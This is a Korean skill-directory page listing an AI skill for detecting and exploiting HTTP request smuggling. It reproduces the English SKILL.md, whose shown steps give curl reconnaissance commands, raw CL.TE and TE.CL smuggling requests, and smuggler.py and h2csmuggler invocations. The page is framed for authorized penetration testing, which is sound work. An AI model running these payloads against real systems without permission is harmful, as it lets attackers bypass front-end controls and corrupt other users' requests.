본문으로 건너뛰기
Skillpedia
보안35k · #7907

exploiting-http-request-smuggling

하는 일

이 도구는 ‘HTTP 요청 스머글링’이라는 보안 결함을 찾고 악용하는 데 도움을 줍니다. 네트워크의 서로 다른 서버가 HTTP 요청을 다르게 해석해, 공격자가 위장한 악성 명령을 보낼 수 있게 되는 문제입니다.

사용하는 경우

  • ✓여러 서버(예: 로드 밸런서와 웹 서버)를 사용하는 시스템의 보안을 테스트할 때.
  • ✓보호 기능을 우회할 수 있는 보안 결함이 있는 것 같을 때.
  • ✓복잡한 웹 구조에 대한 허가된 보안 테스트 중인 경우.

스킬 링크

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-http-request-smuggling/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-http-request-smuggling/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“웹사이트 ‘example.com’이 HTTP 요청 스머글링에 취약한지 테스트하고 싶습니다.”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

이 도구는 앞단(front-end)과 뒷단(back-end) 서버가 요청의 ‘Content-Length’와 ‘Transfer-Encoding’ 헤더를 어떻게 해석하는지 비교합니다. 차이가 있으면 이 결함을 악용하기 위한 특수 요청을 보내 봅니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

Exploiting HTTP Request Smuggling

When to Use

  • During authorized penetration tests when the application sits behind a reverse proxy, load balancer, or CDN
  • When testing infrastructure with multiple HTTP processors in the request chain (nginx + Apache, HAProxy + Gunicorn)
  • For assessing applications for HTTP desynchronization vulnerabilities
  • When other attack vectors are limited and you need to bypass front-end security controls
  • During security assessments of multi-tier web architectures

Prerequisites

  • Authorization: Written penetration testing agreement explicitly covering request smuggling (high-risk test)
  • Burp Suite Professional: With HTTP Request Smuggler extension (Turbo Intruder)
  • smuggler.py: Automated HTTP request smuggling detection tool
  • curl: Compiled with HTTP/1.1 support and manual chunked encoding
  • Target architecture knowledge: Understanding of proxy/server chain (front-end and back-end)
  • Caution: Request smuggling can affect other users' requests; test carefully

Workflow

Step 1: Identify the HTTP Architecture

Determine the proxy/server chain and HTTP parsing characteristics.

# Identify front-end proxy/CDN
curl -s -I "https://target.example.com/" | grep -iE \
  "(server|via|x-served-by|x-cache|cf-ray|x-amz|x-varnish)"

# Common architectures:
# Cloudflare → Nginx → Application
# AWS ALB → Apache → Application
# HAProxy → Gunicorn → Python app
# Nginx → Node.js/Express
# Akamai → IIS → .NET app

# Check HTTP version support
curl -s -I --http1.1 "https://target.example.com/" | head -1
curl -s -I --http2 "https://target.example.com/" | head -1

# Check if Transfer-Encoding is supported
curl -s -X POST \
  -H "Transfer-Encoding: chunked" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "0\r\n\r\n" \
  "https://target.example.com/" -w "%{http_code}"

# Check for HTTP/2 downgrade to HTTP/1.1 on backend
# Many CDNs accept HTTP/2 but forward HTTP/1.1 to origin

Step 2: Test for CL.TE Smuggling

The front-end uses Content-Length, the back-end uses Transfer-Encoding.

# In Burp Suite Repeater, disable "Update Content-Length" option
# Send the following request manually:

POST / HTTP/1.1
Host: target.example.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

# If vulnerable (CL.TE):
# Front-end reads 13 bytes (Content-Length), forwards entire request
# Back-end reads chunked: "0\r\n\r\n" = end of body
# "SMUGGLED" becomes the start of the next request

# Detection technique: Time-based
# If back-end reads chunked and sees incomplete chunk, it waits:

POST / HTTP/1.1
Host: target.example.com
Content-Length: 4
Transfer-Encoding: chunked

1
A
X

# If response is delayed (~5-10 seconds), CL.TE is likely

Step 3: Test for TE.CL Smuggling

The front-end uses Transfer-Encoding, the back-end uses Content-Length.

# Burp Repeater - disable "Update Content-Length"

POST / HTTP/1.1
Host: target.example.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0


# If vulnerable (TE.CL):
# Front-end reads chunked: chunk "SMUGGLED" + final "0"
# Back-end reads 3 bytes of Content-Length: "8\r\n"
# Remaining "SMUGGLED\r\n0\r\n\r\n" becomes next request prefix

# Detection via differential response:
POST / HTTP/1.1
Host: target.example.com
Content-Length: 6
Transfer-Encoding: chunked

0

X

# Front-end (TE): reads "0\r\n\r\n", sees end
# Back-end (CL): reads 6 bytes "0\r\nX\r\n"
# Next request gets "X" prepended, causing 400/405 errors

Step 4: Use Automated Detection Tools

Run automated scanners to detect smuggling variants.

# Using smuggler.py
git clone https://github.com/defparam/smuggler.git
cd smuggler
python3 smuggler.py -u "https://target.example.com/" -m GET POST

# Using Burp HTTP Request Smuggler extension
# 1. Install from BApp Store: "HTTP Request Smuggler"
# 2. Right-click target in Site Map > Extensions > HTTP Request Smuggler > Smuggle probe
# 3. Check Scanner > Issue Activity for results

# Using h2csmuggler for HTTP/2 smuggling
# git clone https://github.com/BishopFox/h2cSmuggler.git
python3 h2csmuggler.py -x "https://target.example.com/" \
  "https://target.example.com/admin"

# Manual detection with Turbo Intruder
# Send paired requests with different timing
# First request: smuggling prefix
# Second request: normal request that gets affected

Step 5: Exploit Request Smuggling for Impact

Leverage confirmed smuggling for practical attacks.


…
자주 묻는 질문

‘HTTP 요청 스머글링’이란 무엇인가요?

서로 다른 서버가 HTTP 요청을 일관되지 않게 처리하는 것을 공격자가 악용하는 취약점입니다. 이로 인해 허가되지 않은 접근이나 다른 결함으로 이어질 수 있습니다.

이 도구를 사용하려면 허가가 필요한가요?

네, 이 기법은 위험도가 높고 서비스 가용성에 영향을 줄 수 있으므로, 어떤 시스템이든 테스트하기 전에 명시적 허가를 받는 것이 매우 중요합니다.

어떤 도구가 필요한가요?

특정 확장 기능이 있는 Burp Suite Professional과 ‘curl’ 같은 명령줄 도구, 그리고 ‘smuggler.py’라는 스크립트가 필요합니다.

상세 정보

작성자의 원본 설명

Detects and exploits HTTP request smuggling caused by Content-Length/Transfer-Encoding parsing discrepancies between front-end and back-end servers, using Burp Suite Repeater (auto Content-Length disabled), the HTTP Request Smuggler extension, and smuggler.py. Use during authorized tests of multi-tier architectures behind a reverse proxy, load balancer, or CDN to find desync flaws and bypass front

repo: mukul975/Anthropic-Cybersecurity-Skills

인기도

GitHub 스타
35k
순위
#7907
라이선스
Apache-2.0
업데이트
2026. 8. 31.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬